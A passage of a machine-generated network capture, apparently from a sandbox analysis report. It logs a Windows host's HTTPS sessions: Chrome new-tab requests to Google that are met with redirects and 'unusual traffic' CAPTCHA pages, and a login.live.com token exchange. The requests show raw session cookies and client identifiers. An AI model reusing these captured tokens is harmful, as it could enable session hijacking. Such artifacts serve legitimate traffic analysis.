2024-01-17 23:35:11 UTC	977	IN	Data Raw: 42 56 62 45 52 4d 57 6d 4e 6a 52 6b 34 77 62 31 64 73 53 32 5a 6e 53 7a 56 33 4e 57 77 7a 4d 46 64 6e 4d 31 52 56 53 48 5a 76 62 32 31 79 52 69 39 6d 54 45 5a 77 62 30 4e 6e 59 6b 5a 56 52 44 59 31 57 45 46 36 4c 30 46 50 4d 6b 74 68 57 44 4a 54 4e 48 42 59 53 57 38 78 62 47 64 30 52 47 31 76 4d 55 68 53 4e 46 56 34 53 57 39 51 54 55 6c 59 64 48 55 35 63 45 6b 31 53 43 74 4e 63 6e 4a 54 61 44 52 76 4d 57 74 61 63 56 56 71 57 57 64 6e 5a 58 52 5a 4e 6d 78 32 4f 45 46 69 55 32 39 77 53 55 70 44 55 31 49 34 4e 54 52 35 61 6e 49 33 56 6a 4e 58 53 54 67 78 4c 7a 6c 35 53 30 68 31 4d 30 6c 69 55 57 6c 70 56 6b 46 4b 63 30 70 57 4e 45 6f 7a 59 32 35 36 55 45 68 34 61 57 35 50 4b 32 35 76 53 57 70 36 64 7a 49 77 61 47 77 32 54 54 41 34 4d 47 74 72 4e 31 5a 58 52 Data Ascii: BVbERMWmNjRk4wb1dsS2ZnSzV3NWwzMFdnM1RVSHZvb21yRi9mTEZwb0NnYkZVRDY1WEF6L0FPMkthWDJTNHBYSW8xbGd0RG1vMUhSNFV4SW9QTUlYdHU5cEk1SCtNcnJTaDRvMWtacVVqWWdnZXRZNmx2OEFiU29wSUpDU1I4NTR5anI3VjNXSTgxLzl5S0h1M0liUWlpVkFKc0pWNEozY256UEh4aW5PK25vSWp6dzIwaGw2TTA4MGtrN1ZXR
2024-01-17 23:35:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.6	49963	142.250.65.196	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:11 UTC	542	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.6	49964	142.250.65.196	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:11 UTC	655	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNAQiG8M0BCPnA1BUY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:35:11 UTC	1658	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgSaEMDBGK_Ioa0GIjApxfM_RbeVLD-aT6QwDFmgoIRBVvOBd1rKQXUX0HQ9qj8zGp3AGXVQxLEyboamcNEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwIr8ihrQYQmrPrlwISBJoQwME Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Wed, 17 Jan 2024 23:35:11 GMT Server: gws Content-Length: 458 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-01-17-23; expires=Fri, 16-Feb-2024 23:35:11 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: CONSENT=PENDING+450; expires=Fri, 16-Jan-2026 23:35:11 GMT; path=/; domain=.google.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:11 UTC	458	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 25 33 46 68 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fh

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.6	49965	142.250.65.196	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:11 UTC	542	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:35:11 UTC	1576	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgSaEMDBGK_Ioa0GIjBA_AWXqE-3waIHSuNeTk9_gqxVHMdGlRT2fj5mZvxjyh51rX04sNWj2bLVV3v25-UyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwIr8ihrQYQu83D7wISBJoQwME Content-Type: text/html; charset=UTF-8 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Wed, 17 Jan 2024 23:35:11 GMT Server: gws Content-Length: 417 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-01-17-23; expires=Fri, 16-Feb-2024 23:35:11 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: CONSENT=PENDING+533; expires=Fri, 16-Jan-2026 23:35:11 GMT; path=/; domain=.google.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:11 UTC	417	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 26 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/async/newtab_promos&

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.6	49967	142.250.65.196	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:12 UTC	868	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgSaEMDBGK_Ioa0GIjApxfM_RbeVLD-aT6QwDFmgoIRBVvOBd1rKQXUX0HQ9qj8zGp3AGXVQxLEyboamcNEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNAQiG8M0BCPnA1BUY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; 1P_JAR=2024-01-17-23
2024-01-17 23:35:12 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 17 Jan 2024 23:35:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3185 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:12 UTC	896	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 6f 67 62 3f 68 6c 3d 65 6e 2d 55 53 26 61 6d 70 3b 61 73 79 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_ogb?hl=en-US&asy
2024-01-17 23:35:12 UTC	1252	IN	Data Raw: 70 74 3e 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 48 39 62 31 37 33 Data Ascii: pt><script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="H9b173
2024-01-17 23:35:12 UTC	1037	IN	Data Raw: 31 35 70 78 20 30 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 22 3e 0a 54 68 69 73 20 70 61 67 65 20 61 70 70 65 61 72 73 20 77 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 Data Ascii: 15px 0; line-height:1.4em;">This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire short

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.6	49969	142.250.65.196	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:12 UTC	738	OUT	GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgSaEMDBGK_Ioa0GIjBA_AWXqE-3waIHSuNeTk9_gqxVHMdGlRT2fj5mZvxjyh51rX04sNWj2bLVV3v25-UyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; 1P_JAR=2024-01-17-23
2024-01-17 23:35:12 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 17 Jan 2024 23:35:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3113 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:12 UTC	896	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 73 79 6e 63 2f 6e 65 77 74 61 62 5f 70 72 6f 6d 6f 73 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/async/newtab_promos</title></head
2024-01-17 23:35:12 UTC	1252	IN	Data Raw: 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 35 30 65 6d 70 72 77 55 4d 36 35 72 65 4c 35 5f 72 51 33 64 41 75 73 62 6a 52 32 34 38 6b Data Ascii: llback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="50emprwUM65reL5_rQ3dAusbjR248k
2024-01-17 23:35:12 UTC	965	IN	Data Raw: 68 65 6e 20 47 6f 6f 67 6c 65 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 64 65 74 65 63 74 73 20 72 65 71 75 65 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 Data Ascii: hen Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime,

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.6	49971	40.126.24.84	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4698 Host: login.live.com
2024-01-17 23:35:13 UTC	4698	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-01-17 23:35:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 17 Jan 2024 23:34:14 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C107_BL2 x-ms-request-id: 31e3ca05-d236-4025-acf0-f0075ea36c4a PPServer: PPV: 30 H: BL02PFA3937ABE4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 17 Jan 2024 23:35:13 GMT Connection: close Content-Length: 10197
2024-01-17 23:35:14 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.6	49975	142.251.40.238	443

Timestamp	Bytes transferred	Direction	Data
